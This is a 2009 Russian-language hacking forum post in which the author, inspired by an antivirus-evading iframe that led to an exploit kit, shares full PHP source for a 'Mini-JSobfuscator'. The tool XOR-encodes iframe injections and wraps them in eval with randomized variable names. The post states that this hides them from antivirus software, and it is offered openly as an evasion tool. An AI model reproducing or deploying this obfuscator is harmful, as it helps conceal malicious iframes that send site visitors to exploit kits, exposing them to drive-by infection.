Показать сообщение отдельно

Навеяло
  #7  
Старый 08.10.2009, 23:58
r00nix
Познающий
Регистрация: 07.05.2009
Сообщений: 54
Провел на форуме:
487201

Репутация: 80
По умолчанию Навеяло

Серфил как-то по тырнету, нарвался на чей-то ифрейм, ведущий на связку. Показал знакомому, его KIS9 проглотил и даже не подавился. Захотелось написать что-то подобное. Писал на скорую руку, посему реализация хромает в паре мест.
PHP код:
<?PHP
srand
();
function 
rvn()
    {
    
$i=rand(4,6);
    while (
strlen($a)<$i)
        
$a.=chr(rand(97,122));
    return 
$a;
    }

function 
gen_iframe($iframe)
    {
    
$var_names= array(rvn(),rvn(),rvn(),rvn(),rvn(),rvn());
    
$xor=rand(40,100);
    if (isset(
$iframe) && $iframe!="")
        {
        
$vxod="document.write(\"$iframe\")";
        for (
$i=0;$i<strlen($vxod);$i++)
            
$a.=(ord(substr($vxod,$i,1))^$xor).",";
        echo 
"<script>$var_names[0]=new Array(".substr($a,0,strlen($a)-1).");$var_names[1]=\"\";$var_names[2]=$xor;$var_names[3]=eval;$var_names[4]=String.fromCharCode;for($var_names[5] in $var_names[0])$var_names[1]+=$var_names[4](".$var_names[0]."[".$var_names[5]."]^$var_names[2]);$var_names[3]($var_names[1]);</script>\n";
        }
    else echo 
"Input any text into ^^^these^^^ box and press the button.\n";
    }
?>
<html>
<head>
<title>Mini-JSobfuscator</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<form method="post">
<table width="40%"  border="0" align="center">
<tr>
<td width="26%"><div align="center">Code:</div></td>
</tr>
<tr>
<td><div align="center"><input name="text" value="<? echo htmlspecialchars(stripslashes($_POST[text]));?>" type="text" size="80%"></div></td>
</tr>
<tr>
<td colspan="3" nowrap><hr></td>
</tr>
<tr>
<td><div align="center">
<textarea readonly="true" ROWS=8 COLS=70><? @gen_iframe($_POST[text]);?></textarea>
</div>
</td>
</tr>
<tr>
<td><div align="right">
<input type="submit" value="Obfuscate">
</div></td>
</tr>
</table>
</form>
<br>
</body>
</html>
Многие антивирусы просто не замечают переобъявления функций в JS.
 
Ответить с цитированием